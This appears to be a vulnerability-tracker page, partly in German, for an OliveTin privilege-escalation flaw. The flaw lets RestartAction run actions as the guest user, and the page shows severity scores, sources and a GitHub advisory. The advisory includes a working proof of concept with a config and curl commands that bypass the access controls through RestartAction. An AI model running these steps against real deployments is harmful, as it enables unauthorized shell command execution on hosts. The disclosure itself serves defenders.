CVE-2026-30225

mediumPriorität · verfolgen · 27EPSS 0.004 · 37. PerzentilExploit · PoCEUUS
grimoire priorityP1 · Urgent
Exploitable?
Public exploit
1 exploit · PoC
Likely / severe?
0.43% (37th) EPSS
CVSS 4.3 · medium
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · bewertet 2026-10-27

OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authentication context confusion vulnerability in RestartAction allows a low‑privileged authenticated user to execute actions they are not permitted to run. RestartAction constructs a new internal connect.Request without preserving the original caller’s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution. This vulnerability allows a low‑privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions. This issue has been patched in version 3000.11.1.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

5.3
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:Nprimary · NVD / NIST USAusnutzbarkeit 2.8 · Auswirkung 1.4
v3.15.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:Nsecondary · ENISA EU
v3.15.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:Nsecondary · security-advisories@github.comAusnutzbarkeit 3.9 · Auswirkung 1.4
v3.15.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:Nsecondary · OSV
v3.14.1mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N/E:Psecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

Exploits (1)

Öffentlicher Proof-of-Concept- und Exploit-Code.

05

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

06

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-p443-p7w5-2f7fOliveTin's RestartAction always runs actions as guest2026-03-05ghsa · osvUS

    ### Summary An authentication context confusion vulnerability in RestartAction allows a low‑privileged authenticated user to execute actions they are not permitted to run. RestartAction constructs a new internal connect.Request without preserving the original caller’s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution. This vulnerability allows a low‑privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions. ### Details Affected files: service/internal/api/api.go service/internal/auth/authcheck.go Relevant code in RestartAction: ``` return api.StartAction(ctx, &connect.Request[apiv1.StartActionRequest]{ Msg: &apiv1.StartActionRequest{ BindingId: execReqLogEntry.GetBindingId(), UniqueTrackingId: req.Msg.ExecutionTrackingId, }, }) ``` Authentication in StartAction: ``` authenticatedUser := auth.UserFromApiCall(ctx, req, api.cfg) ``` Issue: 1. RestartAction creates a new connect.Request object. 2. The new request does not preserve caller headers or cookies. 3. UserFromApiCall() attempts to resolve the user from the request. 4. Because authentication headers are missing, it falls back to the guest user. 5. If guest.exec = true while the original caller has exec = false, the action executes with elevated privileges. ### PoC Configuration: ``` defaultPermissions: exec: false users: - username: low password: lowpass permissions: exec: false - username: guest permissions: exec: true actions: - id: restart_bypass_action shell: | echo "pwned" > /tmp/olivetin_restart_bypass.txt ``` Steps to reproduce: Login as low user ``` LOW_LOGIN=$(curl -sS -i -X POST \ http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \ -H 'Content-Type: application/json' \ -d '{"username":"low","password":"lowpass"}') LOW_SID=$(printf '%s\n' "$LOW_LOGIN" | tr -d '\r' | \ awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}') ``` Attempt direct execution (correctly blocked) ``` LOW_RUN=$(curl -sS -X POST \ http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \ -H 'Content-Type: application/json' \ -H "Cookie: olivetin-sid-local=$LOW_SID" \ -d '{"actionId":"restart_bypass_action"}') echo "$LOW_RUN" ``` This should return permission denied. Extract executionTrackingId from response: ``` TRACKING_ID=$(printf '%s' "$LOW_RUN" | \ sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p' | head -n1) echo "Tracking ID: $TRACKING_ID" ``` Call RestartAction: ``` curl -sS -X POST \ http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \ -H 'Content-Type: application/json' \ -H "Cookie: olivetin-sid-local=$LOW_SID" \ -d "{\"executionTrackingId\":\"$TRACKING_ID\"}" ``` Verify command executed: ``` cat /tmp/olivetin_restart_bypass.txt ``` Output: ``` pwned ``` ### Impact - Privilege Escalation - ACL Bypass - Unauthorized Command Execution Any authenticated low-privilege user can execute actions they are not authorized to run if: - Guest has broader permissions - RestartAction is enabled Because OliveTin actions execute system shell commands, this can lead to: - Arbitrary file writes - Sensitive data exposure - Potential full host compromise (depending on OliveTin runtime privileges) This affects all deployments where: - guest.exec = true - A restricted user has exec = false - RestartAction endpoint is accessible

  • GO-2026-4625OliveTin's RestartAction always runs actions as guest in github.com/OliveTin/OliveTin2026-03-10vendor · osvUS

    OliveTin's RestartAction always runs actions as guest in github.com/OliveTin/OliveTin

07

auch bekannt als (5)

Weitere Namen und Kennungen dieser Entität.

08

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-03-06geändert 2026-06-17
09

Referenzen (11)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan